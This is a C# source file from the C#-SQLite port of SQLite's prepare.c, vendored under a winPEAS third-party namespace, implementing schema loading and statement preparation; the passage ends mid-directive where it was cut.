    "content": "using System;\nusing System.Diagnostics;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\nusing sqlite3_int64 = System.Int64;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_stmt = CSSQLite.Vdbe;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2005 May 25\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the implementation of the sqlite3_prepare()\n    ** interface, and routines that contribute to loading the database schema\n    ** from disk.\n    **\n    ** $Id: prepare.c,v 1.131 2009/08/06 17:43:31 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Fill the InitData structure with an error message that indicates\n    ** that the database is corrupt.\n    */\n    static void corruptSchema(\n    InitData pData, /* Initialization context */\n    string zObj,    /* Object being parsed at the point of error */\n    string zExtra   /* Error information */\n    )\n    {\n      sqlite3 db = pData.db;\n      if ( /*  0 == db.mallocFailed && */  ( db.flags & SQLITE_RecoveryMode ) == 0 )\n      {\n        {\n          if ( zObj == null ) zObj = \"?\";\n          sqlite3SetString( ref  pData.pzErrMsg, db,\n          \"malformed database schema (%s)\", zObj );\n          if ( !String.IsNullOrEmpty( zExtra ) )\n          {\n            pData.pzErrMsg = sqlite3MAppendf( db, pData.pzErrMsg\n              , \"%s - %s\", pData.pzErrMsg, zExtra );\n          }\n        }\n        pData.rc = //db.mallocFailed != 0 ? SQLITE_NOMEM :\n#if SQLITE_DEBUG\n SQLITE_CORRUPT_BKPT();\n#else\nSQLITE_CORRUPT;\n#endif\n      }\n    }\n\n    /*\n    ** This is the callback routine for the code that initializes the\n    ** database.  See sqlite3Init() below for additional information.\n    ** This routine is also called from the OP_ParseSchema opcode of the VDBE.\n    **\n    ** Each callback contains the following information:\n    **\n    **     argv[0] = name of thing being created\n    **     argv[1] = root page number for table or index. 0 for trigger or view.\n    **     argv[2] = SQL text for the CREATE statement.\n    **\n    */\n    static int sqlite3InitCallback( object pInit, sqlite3_int64 argc, object p2, object NotUsed )\n    {\n      string[] argv = (string[])p2;\n      InitData pData = (InitData)pInit;\n      sqlite3 db = pData.db;\n      int iDb = pData.iDb;\n\n      Debug.Assert( argc == 3 );\n      UNUSED_PARAMETER2( NotUsed, argc );\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      DbClearProperty( db, iDb, DB_Empty );\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  corruptSchema( pData, argv[0], \"\" );\n      //  return 1;\n      //}\n\n      Debug.Assert( iDb >= 0 && iDb < db.nDb );\n      if ( argv == null ) return 0;   /* Might happen if EMPTY_RESULT_CALLBACKS are on */\n      if ( argv[1] == null )\n      {\n        corruptSchema( pData, argv[0], \"\" );\n      }\n      else if ( argv[2] != null && argv[2].Length != 0 )\n      {\n        /* Call the parser to process a CREATE TABLE, INDEX or VIEW.\n        ** But because db.init.busy is set to 1, no VDBE code is generated\n        ** or executed.  All the parser does is build the internal data\n        ** structures that describe the table, index, or view.\n        */\n        string zErr = \"\";\n        int rc;\n        Debug.Assert( db.init.busy != 0 );\n        db.init.iDb = iDb;\n        db.init.newTnum = atoi( argv[1] );\n        db.init.orphanTrigger = 0;\n        rc = sqlite3_exec( db, argv[2], null, null, ref zErr );\n        db.init.iDb = 0;\n        Debug.Assert( rc != SQLITE_OK || zErr == \"\" );\n        if ( SQLITE_OK != rc )\n        {\n          if ( db.init.orphanTrigger!=0 )\n          {\n            Debug.Assert( iDb == 1 );\n          }\n          else\n          {\n            pData.rc = rc;\n            if ( rc == SQLITE_NOMEM )\n            {\n              //        db.mallocFailed = 1;\n            }\n            else if ( rc != SQLITE_INTERRUPT && rc != SQLITE_LOCKED )\n            {\n              corruptSchema( pData, argv[0], zErr );\n            }\n          }          //sqlite3DbFree( db, ref zErr );\n        }\n      }\n      else if ( argv[0] == null || argv[0] == \"\" )\n      {\n        corruptSchema( pData, null, null );\n      }\n      else\n      {\n        /* If the SQL column is blank it means this is an index that\n        ** was created to be the PRIMARY KEY or to fulfill a UNIQUE\n        ** constraint for a CREATE TABLE.  The index should have already\n        ** been created when we processed the CREATE TABLE.  All we have\n        ** to do here is record the root page number for that index.\n        */\n        Index pIndex;\n        pIndex = sqlite3FindIndex( db, argv[0], db.aDb[iDb].zName );\n        if ( pIndex == null )\n        {\n          /* This can occur if there exists an index on a TEMP table which\n          ** has the same name as another index on a permanent index.  Since\n          ** the permanent table is hidden by the TEMP table, we can also\n          ** safely ignore the index on the permanent table.\n          */\n          /* Do Nothing */\n          ;\n        }\n        else if ( sqlite3GetInt32( argv[1], ref pIndex.tnum ) == false )\n        {\n          corruptSchema( pData, argv[0], \"invalid rootpage\" );\n        }\n      }\n      return 0;\n    }\n\n    /*\n    ** Attempt to read the database schema and initialize internal\n    ** data structures for a single database file.  The index of the\n    ** database file is given by iDb.  iDb==0 is used for the main\n    ** database.  iDb==1 should never be used.  iDb>=2 is used for\n    ** auxiliary databases.  Return one of the SQLITE_ error codes to\n    ** indicate success or failure.\n    */\n    static int sqlite3InitOne( sqlite3 db, int iDb, ref string pzErrMsg )\n    {\n      int rc;\n      int i;\n      int size;\n      Table pTab;\n      Db pDb;\n      string[] azArg = new string[4];\n      u32[] meta = new u32[5];\n      InitData initData = new InitData();\n      string zMasterSchema;\n      string zMasterName = SCHEMA_TABLE( iDb );\n      int openedTransaction = 0;\n\n      /*\n      ** The master database table has a structure like this\n      */\n      string master_schema =\n      \"CREATE TABLE sqlite_master(\\n\" +\n      \"  type text,\\n\" +\n      \"  name text,\\n\" +\n      \"  tbl_name text,\\n\" +\n      \"  rootpage integer,\\n\" +\n      \"  sql text\\n\" +\n      \")\"\n      ;\n#if !SQLITE_OMIT_TEMPDB\n      string temp_master_schema =\n      \"CREATE TEMP TABLE sqlite_temp_master(\\n\" +\n      \"  type text,\\n\" +\n      \"  name text,\\n\" +\n      \"  tbl_name text,\\n\" +\n      \"  rootpage integer,\\n\" +\n      \"  sql text\\n\" +\n      \")\"\n      ;\n#else\n//#define temp_master_schema 0\n#endif\n\n      Debug.Assert( iDb >= 0 && iDb < db.nDb );\n      Debug.Assert( db.aDb[iDb].pSchema != null );\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      Debug.Assert( iDb == 1 || sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) );\n\n      /* zMasterSchema and zInitScript are set to point at the master schema\n      ** and initialisation script appropriate for the database being\n      ** initialised. zMasterName is the name of the master table.\n      */\n      if ( OMIT_TEMPDB == 0 && iDb == 1 )\n      {\n        zMasterSchema = temp_master_schema;\n      }\n      else\n      {\n        zMasterSchema = master_schema;\n      }\n      zMasterName = SCHEMA_TABLE( iDb );\n\n      /* Construct the schema tables.  */\n      azArg[0] = zMasterName;\n      azArg[1] = \"1\";\n      azArg[2] = zMasterSchema;\n      azArg[3] = \"\";\n      initData.db = db;\n      initData.iDb = iDb;\n      initData.rc = SQLITE_OK;\n      initData.pzErrMsg = pzErrMsg;\n      sqlite3SafetyOff( db );\n      sqlite3InitCallback( initData, 3, azArg, null );\n      sqlite3SafetyOn( db );\n      if ( initData.rc != 0 )\n      {\n        rc = initData.rc;\n        goto error_out;\n      }\n      pTab = sqlite3FindTable( db, zMasterName, db.aDb[iDb].zName );\n      if ( ALWAYS( pTab ) )\n      {\n        pTab.tabFlags |= TF_Readonly;\n      }\n\n      /* Create a cursor to hold the database open\n      */\n      pDb = db.aDb[iDb];\n      if ( pDb.pBt == null )\n      {\n        if ( OMIT_TEMPDB == 0 && ALWAYS( iDb == 1 ) )\n        {\n          DbSetProperty( db, 1, DB_SchemaLoaded );\n        }\n        return SQLITE_OK;\n      }\n\n      /* If there is not already a read-only (or read-write) transaction opened\n      ** on the b-tree database, open one now. If a transaction is opened, it \n      ** will be closed before this function returns.  */\n      sqlite3BtreeEnter( pDb.pBt );\n      if ( !sqlite3BtreeIsInReadTrans( pDb.pBt ) )\n      {\n        rc = sqlite3BtreeBeginTrans( pDb.pBt, 0 );\n        if ( rc != SQLITE_OK )\n        {\n          sqlite3SetString( ref pzErrMsg, db, \"%s\", sqlite3ErrStr( rc ) );\n          goto initone_error_out;\n        }\n        openedTransaction = 1;\n      }\n\n      /* Get the database meta information.\n      **\n      ** Meta values are as follows:\n      **    meta[0]   Schema cookie.  Changes with each schema change.\n      **    meta[1]   File format of schema layer.\n      **    meta[2]   Size of the page cache.\n      **    meta[3]   Largest rootpage (auto/incr_vacuum mode)\n      **    meta[4]   Db text encoding. 1:UTF-8 2:UTF-16LE 3:UTF-16BE\n      **    meta[5]   User version\n      **    meta[6]   Incremental vacuum mode\n      **    meta[7]   unused\n      **    meta[8]   unused\n      **    meta[9]   unused\n      **\n      ** Note: The #defined SQLITE_UTF* symbols in sqliteInt.h correspond to\n      ** the possible values of meta[BTREE_TEXT_ENCODING-1].\n      */\n      for ( i = 0 ; i < ArraySize( meta ) ; i++ )\n      {\n        sqlite3BtreeGetMeta( pDb.pBt, i + 1, ref meta[i] );\n      }\n      pDb.pSchema.schema_cookie = (int)meta[BTREE_SCHEMA_VERSION - 1];\n\n      /* If opening a non-empty database, check the text encoding. For the\n      ** main database, set sqlite3.enc to the encoding of the main database.\n      ** For an attached db, it is an error if the encoding is not the same\n      ** as sqlite3.enc.\n      */\n      if ( meta[BTREE_TEXT_ENCODING - 1] != 0 )\n      {  /* text encoding */\n        if ( iDb == 0 )\n        {\n          u8 encoding;\n          /* If opening the main database, set ENC(db). */\n          encoding = (u8)( meta[BTREE_TEXT_ENCODING - 1] & 3 );\n          if ( encoding == 0 ) encoding = SQLITE_UTF8;\n          db.aDb[0].pSchema.enc = encoding; //ENC( db ) = encoding;\n          db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, \"BINARY\", 0 );\n        }\n        else\n        {\n          /* If opening an attached database, the encoding much match ENC(db) */\n          if ( meta[BTREE_TEXT_ENCODING - 1] != ENC( db ) )\n          {\n            sqlite3SetString( ref pzErrMsg, db, \"attached databases must use the same\" +\n            \" text encoding as main database\" );\n            rc = SQLITE_ERROR;\n            goto initone_error_out;\n          }\n        }\n      }\n      else\n      {\n        DbSetProperty( db, iDb, DB_Empty );\n      }\n      pDb.pSchema.enc = ENC( db );\n\n      if ( pDb.pSchema.cache_size == 0 )\n      {\n        size = (int)meta[BTREE_DEFAULT_CACHE_SIZE - 1];\n        if ( size == 0 ) { size = SQLITE_DEFAULT_CACHE_SIZE; }\n        if ( size < 0 ) size = -size;\n        pDb.pSchema.cache_size = size;\n        sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size );\n      }\n\n      /*\n      ** file_format==1    Version 3.0.0.\n      ** file_format==2    Version 3.1.3.  // ALTER TABLE ADD COLUMN\n      ** file_format==3    Version 3.1.4.  // ditto but with non-NULL defaults\n      ** file_format==4    Version 3.3.0.  // DESC indices.  Boolean constants\n      */\n      pDb.pSchema.file_format = (u8)meta[BTREE_FILE_FORMAT - 1];\n      if ( pDb.pSchema.file_format == 0 )\n      {\n        pDb.pSchema.file_format = 1;\n      }\n      if ( pDb.pSchema.file_format > SQLITE_MAX_FILE_FORMAT )\n      {\n        sqlite3SetString( ref pzErrMsg, db, \"unsupported file format\" );\n        rc = SQLITE_ERROR;\n        goto initone_error_out;\n      }\n\n      /* Ticket #2804:  When we open a database in the newer file format,\n      ** clear the legacy_file_format pragma flag so that a VACUUM will\n      ** not downgrade the database and thus invalidate any descending\n      ** indices that the user might have created.\n      */\n      if ( iDb == 0 && meta[BTREE_FILE_FORMAT - 1] >= 4 )\n      {\n        db.flags &= ~SQLITE_LegacyFileFmt;\n      }\n\n      /* Read the schema information out of the schema tables\n      */\n      Debug.Assert( db.init.busy != 0 );\n      {\n        string zSql;\n        zSql = sqlite3MPrintf( db,\n        \"SELECT name, rootpage, sql FROM '%q'.%s\",\n        db.aDb[iDb].zName, zMasterName );\n        sqlite3SafetyOff( db );\n#if ! SQLITE_OMIT_AUTHORIZATION\n{\nint (*xAuth)(void*,int,const char*,const char*,const char*,const char*);\nxAuth = db.xAuth;\ndb.xAuth = 0;\n#endif\n        rc = sqlite3_exec( db, zSql, (dxCallback)sqlite3InitCallback, initData, 0 );\n        pzErrMsg = initData.pzErrMsg;\n#if ! SQLITE_OMIT_AUTHORIZATION\ndb.xAuth = xAuth;\n}\n#endif\n        if ( rc == SQLITE_OK ) rc = initData.rc;\n        sqlite3SafetyOn( db );\n        //sqlite3DbFree( db, ref zSql );\n#if !SQLITE_OMIT_ANALYZE\n        if ( rc == SQLITE_OK )\n        {\n          sqlite3AnalysisLoad( db, iDb );\n        }\n#endif\n      }\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  rc = SQLITE_NOMEM;\n      //  sqlite3ResetInternalSchema( db, 0 );\n      //}\n      if ( rc == SQLITE_OK || ( db.flags & SQLITE_RecoveryMode ) != 0 )\n      {\n        /* Black magic: If the SQLITE_RecoveryMode flag is set, then consider\n        ** the schema loaded, even if errors occurred. In this situation the\n        ** current sqlite3_prepare() operation will fail, but the following one\n        ** will attempt to compile the supplied statement against whatever subset\n        ** of the schema was loaded before the error occurred. The primary\n        ** purpose of this is to allow access to the sqlite_master table\n        ** even when its contents have been corrupted.\n        */\n        DbSetProperty( db, iDb, DB_SchemaLoaded );\n        rc = SQLITE_OK;\n      }\n/* Jump here for an error that occurs after successfully allocating\n** curMain and calling sqlite3BtreeEnter(). For an error that occurs\n** before that point, jump to error_out.\n*/\ninitone_error_out:\n      if ( openedTransaction != 0 )\n      {\n        sqlite3BtreeCommit( pDb.pBt );\n      }\n      sqlite3BtreeLeave( pDb.pBt );\n\nerror_out:\n      if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM )\n      {\n//        db.mallocFailed = 1;\n      }\n      return rc;\n    }\n\n    /*\n    ** Initialize all database files - the main database file, the file\n    ** used to store temporary tables, and any additional database files\n    ** created using ATTACH statements.  Return a success code.  If an\n    ** error occurs, write an error message into pzErrMsg.\n    **\n    ** After a database is initialized, the DB_SchemaLoaded bit is set\n    ** bit is set in the flags field of the Db structure. If the database\n    ** file was of zero-length, then the DB_Empty flag is also set.\n    */\n    static int sqlite3Init( sqlite3 db, ref string pzErrMsg )\n    {\n      int i, rc;\n      bool commit_internal = !( ( db.flags & SQLITE_InternChanges ) != 0 );\n\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      rc = SQLITE_OK;\n      db.init.busy = 1;\n      for ( i = 0 ; rc == SQLITE_OK && i < db.nDb ; i++ )\n      {\n        if ( DbHasProperty( db, i, DB_SchemaLoaded ) || i == 1 ) continue;\n        rc = sqlite3InitOne( db, i, ref pzErrMsg );\n        if ( rc != 0 )\n        {\n          sqlite3ResetInternalSchema( db, i );\n        }\n      }\n\n      /* Once all the other databases have been initialised, load the schema\n      ** for the TEMP database. This is loaded last, as the TEMP database\n      ** schema may contain references to objects in other databases.\n      */\n#if !SQLITE_OMIT_TEMPDB\n      if ( rc == SQLITE_OK && ALWAYS( db.nDb > 1 )\n      && !DbHasProperty( db, 1, DB_SchemaLoaded ) )\n      {\n        rc = sqlite3InitOne( db, 1, ref pzErrMsg );\n        if ( rc != 0 )\n        {\n          sqlite3ResetInternalSchema( db, 1 );\n        }\n      }\n#endif\n\n      db.init.busy = 0;\n      if ( rc == SQLITE_OK && commit_internal )\n      {\n        sqlite3CommitInternalChanges( db );\n      }\n\n      return rc;\n    }\n\n    /*\n    ** This routine is a no-op if the database schema is already initialised.\n    ** Otherwise, the schema is loaded. An error code is returned.\n    */\n    static int sqlite3ReadSchema( Parse pParse )\n    {\n      int rc = SQLITE_OK;\n      sqlite3 db = pParse.db;\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      if ( 0 == db.init.busy )\n      {\n        rc = sqlite3Init( db, ref pParse.zErrMsg );\n      }\n      if ( rc != SQLITE_OK )\n      {\n        pParse.rc = rc;\n        pParse.nErr++;\n      }\n      return rc;\n    }\n\n\n    /*\n    ** Check schema cookies in all databases.  If any cookie is out\n    ** of date set pParse->rc to SQLITE_SCHEMA.  If all schema cookies\n    ** make no changes to pParse->rc.\n    */\n    static void schemaIsValid( Parse pParse )\n    {\n      sqlite3 db = pParse.db;\n      int iDb;\n      int rc;\n      u32 cookie = 0;\n\n      Debug.Assert( pParse.checkSchema!=0 );\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      for ( iDb = 0 ; iDb < db.nDb ; iDb++ )\n      {\n        int openedTransaction = 0;         /* True if a transaction is opened */\n        Btree pBt = db.aDb[iDb].pBt;     /* Btree database to read cookie from */\n        if ( pBt == null ) continue;\n\n        /* If there is not already a read-only (or read-write) transaction opened\n        ** on the b-tree database, open one now. If a transaction is opened, it \n        ** will be closed immediately after reading the meta-value. */\n        if ( !sqlite3BtreeIsInReadTrans( pBt ) )\n        {\n          rc = sqlite3BtreeBeginTrans( pBt, 0 );\n          //if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM )\n          //{\n          //    db.mallocFailed = 1;\n          //}\n          if ( rc != SQLITE_OK ) return;\n          openedTransaction = 1;\n        }\n\n        /* Read the schema cookie from the database. If it does not match the \n        ** value stored as part of the in the in-memory schema representation,\n        ** set Parse.rc to SQLITE_SCHEMA. */\n        sqlite3BtreeGetMeta( pBt, BTREE_SCHEMA_VERSION, ref cookie );\n        if ( cookie != db.aDb[iDb].pSchema.schema_cookie )\n        {\n          pParse.rc = SQLITE_SCHEMA;\n        }\n\n        /* Close the transaction, if one was opened. */\n        if ( openedTransaction!=0 )\n        {\n          sqlite3BtreeCommit( pBt );\n        }\n      }\n    }\n\n    /*\n    ** Convert a schema pointer into the iDb index that indicates\n    ** which database file in db.aDb[] the schema refers to.\n    **\n    ** If the same database is attached more than once, the first\n    ** attached database is returned.\n    */\n    static int sqlite3SchemaToIndex( sqlite3 db, Schema pSchema )\n    {\n      int i = -1000000;\n\n      /* If pSchema is NULL, then return -1000000. This happens when code in\n      ** expr.c is trying to resolve a reference to a transient table (i.e. one\n      ** created by a sub-select). In this case the return value of this\n      ** function should never be used.\n      **\n      ** We return -1000000 instead of the more usual -1 simply because using\n      ** -1000000 as the incorrect index into db->aDb[] is much\n      ** more likely to cause a segfault than -1 (of course there are assert()\n      ** statements too, but it never hurts to play the odds).\n      */\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      if ( pSchema != null )\n      {\n        for ( i = 0 ; ALWAYS( i < db.nDb ) ; i++ )\n        {\n          if ( db.aDb[i].pSchema == pSchema )\n          {\n            break;\n          }\n        }\n        Debug.Assert( i >= 0 && i < db.nDb );\n      }\n      return i;\n    }\n\n    /*\n    ** Compile the UTF-8 encoded SQL statement zSql into a statement handle.\n    */\n    static int sqlite3Prepare(\n    sqlite3 db,               /* Database handle. */\n    string zSql,              /* UTF-8 encoded SQL statement. */\n    int nBytes,               /* Length of zSql in bytes. */\n    int saveSqlFlag,          /* True to copy SQL text into the sqlite3_stmt */\n    ref sqlite3_stmt ppStmt,  /* OUT: A pointer to the prepared statement */\n    ref string pzTail         /* OUT: End of parsed string */\n    )\n    {\n      Parse pParse;             /* Parsing context */\n      string zErrMsg = \"\";      /* Error message */\n      int rc = SQLITE_OK;       /* Result code */\n      int i;                    /* Loop counter */\n\n      /* Allocate the parsing context */\n      pParse = new Parse();//sqlite3StackAllocZero(db, sizeof(*pParse));\n      if ( pParse == null )\n      {\n        rc = SQLITE_NOMEM;\n        goto end_prepare;\n      }\n      pParse.sLastToken.z = \"\";\n      if ( sqlite3SafetyOn( db ) )\n      {\n        rc = SQLITE_MISUSE;\n        goto end_prepare;\n      }\n      Debug.Assert( ppStmt == null );//  assert( ppStmt && *ppStmt==0 );\n      //Debug.Assert( 0 == db.mallocFailed );\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n\n      /* Check to verify that it is possible to get a read lock on all\n      ** database schemas.  The inability to get a read lock indicates that\n      ** some other database connection is holding a write-lock, which in\n      ** turn means that the other connection has made uncommitted changes\n      ** to the schema.\n      **\n      ** Were we to proceed and prepare the statement against the uncommitted\n      ** schema changes and if those schema changes are subsequently rolled\n      ** back and different changes are made in their place, then when this\n      ** prepared statement goes to run the schema cookie would fail to detect\n      ** the schema change.  Disaster would follow.\n      **\n      ** This thread is currently holding mutexes on all Btrees (because\n      ** of the sqlite3BtreeEnterAll() in sqlite3LockAndPrepare()) so it\n      ** is not possible for another thread to start a new schema change\n      ** while this routine is running.  Hence, we do not need to hold\n      ** locks on the schema, we just need to make sure nobody else is\n      ** holding them.\n      **\n      ** Note that setting READ_UNCOMMITTED overrides most lock detection,\n      ** but it does *not* override schema lock detection, so this all still\n      ** works even if READ_UNCOMMITTED is set.\n      */\n      for ( i = 0 ; i < db.nDb ; i++ )\n      {\n        Btree pBt = db.aDb[i].pBt;\n        if ( pBt != null )\n        {\n          Debug.Assert( sqlite3BtreeHoldsMutex( pBt ) );\n          rc = sqlite3BtreeSchemaLocked( pBt );\n          if ( rc != 0 )\n          {\n            string zDb = db.aDb[i].zName;\n            sqlite3Error( db, rc, \"database schema is locked: %s\", zDb );\n            sqlite3SafetyOff( db );\n            testcase( db.flags & SQLITE_ReadUncommitted );\n            goto end_prepare;\n          }\n        }\n      }\n\n      sqlite3VtabUnlockList( db );\n\n      pParse.db = db;\n      if ( nBytes >= 0 && ( nBytes == 0 || zSql[nBytes - 1] != 0 ) )\n      {\n        string zSqlCopy;\n        int mxLen = db.aLimit[SQLITE_LIMIT_SQL_LENGTH];\n        testcase( nBytes == mxLen );\n        testcase( nBytes == mxLen + 1 );\n        if ( nBytes > mxLen )\n        {\n          sqlite3Error( db, SQLITE_TOOBIG, \"statement too long\" );\n          sqlite3SafetyOff( db );\n          rc = sqlite3ApiExit( db, SQLITE_TOOBIG );\n          goto end_prepare;\n        }\n        zSqlCopy = zSql.Substring( 0, nBytes );// sqlite3DbStrNDup(db, zSql, nBytes);\n        if ( zSqlCopy != null )\n        {\n          sqlite3RunParser( pParse, zSqlCopy, ref zErrMsg );\n          //sqlite3DbFree( db, ref zSqlCopy );\n          //pParse->zTail = &zSql[pParse->zTail-zSqlCopy];\n        }\n        else\n        {\n          //pParse->zTail = &zSql[nBytes];\n        }\n      }\n      else\n      {\n        sqlite3RunParser( pParse, zSql, ref zErrMsg );\n      }\n\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  pParse.rc = SQLITE_NOMEM;\n      //}\n      if ( pParse.rc == SQLITE_DONE ) pParse.rc = SQLITE_OK;\n      if ( pParse.checkSchema != 0)\n      {\n        schemaIsValid( pParse );\n      }\n      if ( pParse.rc == SQLITE_SCHEMA )\n      {\n        sqlite3ResetInternalSchema( db, 0 );\n      }\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  pParse.rc = SQLITE_NOMEM;\n      //}\n      //if (pzTail != null)\n      {\n        pzTail = pParse.zTail == null ? \"\" : pParse.zTail.ToString();\n      }\n      rc = pParse.rc;\n#if !SQLITE_OMIT_EXPLAIN\n      if ( rc == SQLITE_OK && pParse.pVdbe != null && pParse.explain != 0 )\n      {\n        string[] azColName = new string[] {\n\"addr\", \"opcode\", \"p1\", \"p2\", \"p3\", \"p4\", \"p5\", \"comment\",\n\"order\", \"from\", \"detail\"\n};\n        int iFirst, mx;\n        if ( pParse.explain == 2 )\n        {\n          sqlite3VdbeSetNumCols( pParse.pVdbe, 3 );\n          iFirst = 8;\n          mx = 11;\n        }\n        else\n        {\n          sqlite3VdbeSetNumCols( pParse.pVdbe, 8 );\n          iFirst = 0;\n          mx = 8;\n        }\n        for ( i = iFirst ; i < mx ; i++ )\n        {\n          sqlite3VdbeSetColName( pParse.pVdbe, i - iFirst, COLNAME_NAME,\n                azColName[i], SQLITE_STATIC );\n        }\n      }\n#endif\n\n      if ( sqlite3SafetyOff( db ) )\n      {\n        rc = SQLITE_MISUSE;\n      }\n\n      Debug.Assert( db.init.busy == 0 || saveSqlFlag == 0 );\n      if ( db.init.busy == 0 )\n      {\n        Vdbe pVdbe = pParse.pVdbe;\n        sqlite3VdbeSetSql( pVdbe, zSql, (int)( zSql.Length - ( pParse.zTail == null ? 0 : pParse.zTail.Length ) ), saveSqlFlag );\n      }\n      if ( pParse.pVdbe != null && ( rc != SQLITE_OK /*|| db.mallocFailed != 0 */ ) )\n      {\n        sqlite3VdbeFinalize( pParse.pVdbe );\n        Debug.Assert( ppStmt == null );\n      }\n      else\n      {\n        ppStmt = pParse.pVdbe;\n      }\n\n      if ( zErrMsg != \"\" )\n      {\n        sqlite3Error( db, rc, \"%s\", zErrMsg );\n        //sqlite3DbFree( db, ref zErrMsg );\n      }\n      else\n      {\n        sqlite3Error( db, rc, 0 );\n      }\n\nend_prepare:\n\n      //sqlite3StackFree( db, pParse );\n      rc = sqlite3ApiExit( db, rc );\n      Debug.Assert( ( rc & db.errMask ) == rc );\n      return rc;\n    }\n\n    static int sqlite3LockAndPrepare(\n    sqlite3 db,               /* Database handle. */\n    string zSql,              /* UTF-8 encoded SQL statement. */\n    int nBytes,               /* Length of zSql in bytes. */\n    int saveSqlFlag,         /* True to copy SQL text into the sqlite3_stmt */\n    ref sqlite3_stmt ppStmt,  /* OUT: A pointer to the prepared statement */\n    ref string pzTail         /* OUT: End of parsed string */\n    )\n    {\n      int rc;\n      //  assert( ppStmt!=0 );\n      ppStmt = null;\n      if ( !sqlite3SafetyCheckOk( db ) )\n      {\n        return SQLITE_MISUSE;\n      }\n      sqlite3_mutex_enter( db.mutex );\n      sqlite3BtreeEnterAll( db );\n      rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, ref ppStmt, ref pzTail );\n      if ( rc == SQLITE_SCHEMA )\n      {\n        sqlite3_finalize( ref ppStmt );\n        rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, ref ppStmt, ref  pzTail );\n      }\n      sqlite3BtreeLeaveAll( db );\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n\n    /*\n    ** Rerun the compilation of a statement after a schema change.\n    **\n    ** If the statement is successfully recompiled, return SQLITE_OK. Otherwise,\n    ** if the statement cannot be recompiled because another connection has\n    ** locked the sqlite3_master table, return SQLITE_LOCKED. If any other error\n    ** occurs, return SQLITE_SCHEMA.\n    */\n    static int sqlite3Reprepare( Vdbe p )\n    {\n      int rc;\n      sqlite3_stmt pNew = new sqlite3_stmt();\n      string zSql;\n      sqlite3 db;\n\n      Debug.Assert( sqlite3_mutex_held( sqlite3VdbeDb( p ).mutex ) );\n      zSql = sqlite3_sql( (sqlite3_stmt)p );\n      Debug.Assert( zSql != null );  /* Reprepare only called for prepare_v2() statements */\n      db = sqlite3VdbeDb( p );\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      string dummy = \"\";\n      rc = sqlite3LockAndPrepare( db, zSql, -1, 1, ref pNew, ref dummy );\n      if ( rc != 0 )\n      {\n        if ( rc == SQLITE_NOMEM )\n        {\n  //        db.mallocFailed = 1;\n        }\n        Debug.Assert( pNew == null );\n        return ( rc == SQLITE_LOCKED ) ? SQLITE_LOCKED : SQLITE_SCHEMA;\n      }\n      else\n      {\n        Debug.Assert( pNew != null );\n      }\n      sqlite3VdbeSwap( (Vdbe)pNew, p );\n      sqlite3TransferBindings( pNew, (sqlite3_stmt)p );\n      sqlite3VdbeResetStepResult( (Vdbe)pNew );\n      sqlite3VdbeFinalize( (Vdbe)pNew );\n      return SQLITE_OK;\n    }\n\n\n    /*\n    ** Two versions of the official API.  Legacy and new use.  In the legacy\n    ** version, the original SQL text is not saved in the prepared statement\n    ** and so if a schema change occurs, SQLITE_SCHEMA is returned by\n    ** sqlite3_step().  In the new version, the original SQL text is retained\n    ** and the statement is automatically recompiled if an schema change\n    ** occurs.\n    */\n    public static int sqlite3_prepare(\n    sqlite3 db,           /* Database handle. */\n    string zSql,          /* UTF-8 encoded SQL statement. */\n    int nBytes,           /* Length of zSql in bytes. */\n    ref sqlite3_stmt ppStmt,  /* OUT: A pointer to the prepared statement */\n    ref string pzTail         /* OUT: End of parsed string */\n    )\n    {\n      int rc;\n      rc = sqlite3LockAndPrepare( db, zSql, nBytes, 0, ref  ppStmt, ref pzTail );\n      Debug.Assert( rc == SQLITE_OK || ppStmt == null );  /* VERIFY: F13021 */\n      return rc;\n    }\n    public static int sqlite3_prepare_v2(\n    sqlite3 db,               /* Database handle. */\n    string zSql,              /* UTF-8 encoded SQL statement. */\n    int nBytes,               /* Length of zSql in bytes. */\n    ref sqlite3_stmt ppStmt,  /* OUT: A pointer to the prepared statement */\n    int dummy /* ( No string passed) */\n    )\n    {\n      string pzTail = null;\n      int rc;\n      rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, ref  ppStmt, ref pzTail );\n      Debug.Assert( rc == SQLITE_OK || ppStmt == null );  /* VERIFY: F13021 */\n      return rc;\n    }\n    public static int sqlite3_prepare_v2(\n    sqlite3 db,               /* Database handle. */\n    string zSql,              /* UTF-8 encoded SQL statement. */\n    int nBytes,               /* Length of zSql in bytes. */\n    ref sqlite3_stmt ppStmt,  /* OUT: A pointer to the prepared statement */\n    ref string pzTail         /* OUT: End of parsed string */\n    )\n    {\n      int rc;\n      rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, ref  ppStmt, ref pzTail );\n      Debug.Assert( rc == SQLITE_OK || ppStmt == null );  /* VERIFY: F13021 */\n      return rc;\n    }\n\n\n#if ! 